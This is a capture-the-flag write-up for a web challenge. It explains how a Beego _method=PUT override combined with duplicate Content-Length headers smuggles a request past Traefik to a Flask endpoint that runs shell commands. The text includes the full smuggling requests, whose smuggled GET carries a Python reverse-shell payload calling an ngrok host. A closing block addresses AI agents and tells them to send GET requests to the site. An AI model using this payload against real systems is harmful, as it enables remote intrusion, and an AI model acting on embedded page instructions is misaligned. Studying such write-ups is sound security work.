# Smuggler ## Challenge {% hint style="info" %} Web, 5 Solves {% endhint %} > We have managed to leak the source code of an application we want to gain access to, however we couldn't figure out how to trigger the vulnerability we found in it, can you help us? {% file src="/files/jMtfY0ZRNaiQzqI66Wub" %} ## Solution This challenge consists of 3 services - Traefik (a HTTP proxy), a Python microservice, and a Go microservice. ### Traefik The configuration file is shown below. This service acts as a reverse proxy for the Go microservice, and only accepts the POST, GET, OPTIONS, DELETE and PATCH methods. ```javascript [http] [http.routers] [http.routers.Router0] entryPoints = ["web"] service = "app" rule = "Method(`POST`, `GET`, `OPTIONS`, `DELETE`, `PATCH`)" [http.services] [http.services.app] [[http.services.app.weighted.services]] name = "appv1" [http.services.appv1] [http.services.appv1.loadBalancer] [[http.services.appv1.loadBalancer.servers]] url = "http://go-microservice:8080/" ``` ### Go Microservice Taking a look at the Go microservice, we could see that the Beego web framework is used. This service acts as a reverse proxy for the Python microservice when the `PUT` method is used. ```go package main import ( "fmt" "github.com/beego/beego/v2/server/web" "net/http/httputil" "net/url" ) type MainController struct { web.Controller } func (this *MainController) Get() { fmt.Println(this.Ctx.Request.ContentLength) this.Ctx.WriteString("OK") } func (this *MainController) Put() { targetURL := "http://python-microservice:80/" url, err := url.Parse(targetURL) if err != nil { panic(fmt.Sprintf("failed to parse the URL: %v", err)) } proxy := httputil.NewSingleHostReverseProxy(url) proxy.ServeHTTP(this.Ctx.ResponseWriter, this.Ctx.Request) } func main() { web.Router("/", &MainController{}) web.Run() } ``` ### Python Microservice Finally, the Python microservice allows us to run arbitrary commands when the GET method is used. That seems like where we need to go. ```python import os from flask import Flask, request from werkzeug.serving import WSGIRequestHandler app = Flask(__name__) @app.route('/') def run_cmd(): if 'cmd' in request.args: os.system(request.args['cmd']) return 'OK' @app.route('/', methods=['POST']) def echo_request(): return request.get_data() if __name__ == '__main__': WSGIRequestHandler.protocol_version = "HTTP/1.1" app.run(host='0.0.0.0', port=80, threaded=True, debug=False) ``` ### HTTP Method Spoofing To get to the Python microservice in the first place, we need to use the PUT method on the Go microservice. Yet, the Traefik proxy only allows the POST, GET, OPTIONS, DELETE and PATCH methods. As of this CTF, both the Traefik and Beego versions used were the latest versions, with no known CVEs. How then, can we "smuggle" a PUT request to the Go microservice? I took a look at the Beego [source code](https://github.com/beego/beego/blob/69c17fafbbfd796c7435d60b13f8d557c8850691/server/web/router.go#L1128-L1144), and found some interesting information on how it handles routing. Although the PUT request method is not directly supported by Beego in the request line itself, there is a way to issue a "pseudo" PUT request. ![](/files/WBdceg2M3GeXAzkB1IPL) Specifically, when the POST method is used, a check is done on the `_method` query parameter. If we use `?_method=PUT` for instance, the request is routed as if it was a PUT request. Therefore, the following request would reach the `Put()` handler in the Go microservice: ```http POST /?_method=PUT HTTP/1.1 Host: foo.bar ``` ### HTTP Request Smuggling Now that we have reached the PUT handler in Beego, we have access to the Python microservice. The Python microservice runs on Flask's built-in server, which is *not* secure for production. In particular, it does very little to mitigate [HTTP request smuggling](https://portswigger.net/web-security/request-smuggling) attacks. For instance, underscores (`_`) are converted to hyphens (`-`) and interpreted as such. This means that the `Content_Length` header is treated in the same way as `Content-Length`. The built-in server also allows duplicate `Content-Length` headers, leading to differences between the upstream servers (Traefik and Beego) and the Flask built-in server in interpreting the length of HTTP requests. Consider the following request: ```http POST /?_method=PUT HTTP/1.1 Host: localhost Content-Length: 307 Content_Length: 0 GET /?cmd=python%20-c%20'import%20socket%2csubprocess%3bs%3dsocket.socket(socket.AF_INET%2csocket.SOCK_STREAM)%3bs.connect((%222.tcp.ngrok.io%22%2c%2011237))%3bsubprocess.call(%5b%22%2fbin%2fsh%22%2c%22-i%22%5d%2cstdin%3ds.fileno()%2cstdout%3ds.fileno()%2cstderr%3ds.fileno())' HTTP/1.1 Host: localhost ``` RFC 7230 [allows](https://www.rfc-editor.org/rfc/rfc7230#section-3.2) both underscores and hyphens in header field names.`Content-Length` and `Content_Length` are therefore two distinct headers - they should not be interoperable. In this case, `Content_Length` should be treated like any other header, and not a special header indicating the length of the request body. Both Traefik and Beego are RFC-compliant in this regard, but the Flask built-in server is not. When both Traefik and Beego process the above request, the second GET request is simply subsumed as part of the first POST request due to the `Content-Length` header indicating a length equal to the length of the second GET request. The second RFC violation comes from accepting multiple `Content-Length` headers with different values. As [per the RFC](https://www.rfc-editor.org/rfc/rfc7230#section-3.3.3), > If a message is received without Transfer-Encoding and with either multiple Content-Length header fields having differing field-values or a single Content-Length header field having an invalid value, then the message framing is invalid and the recipient MUST treat it as an unrecoverable error. In this case, the Flask built-in server takes the *last* `Content-Length` header value as the length of the request body. Therefore, it sees the length of the request body as 0. ```http Content-Length: 307 Content_Length: 0 ``` When the POST request arrives, it is treated as two separate requests, as though the following request was made: ```http POST /?_method=PUT HTTP/1.1 Host: localhost Content-Length: 0 GET /?cmd=python%20-c%20'import%20socket%2csubprocess%3bs%3dsocket.socket(socket.AF_INET%2csocket.SOCK_STREAM)%3bs.connect((%222.tcp.ngrok.io%22%2c%2011237))%3bsubprocess.call(%5b%22%2fbin%2fsh%22%2c%22-i%22%5d%2cstdin%3ds.fileno()%2cstdout%3ds.fileno()%2cstderr%3ds.fileno())' HTTP/1.1 Host: localhost ``` We have smuggled a GET request to the Python microservice, allowing us to get a reverse shell and obtain the flag. --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://ctf.zeyu2001.com/2022/bsidestlv-2022-ctf/smuggler.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.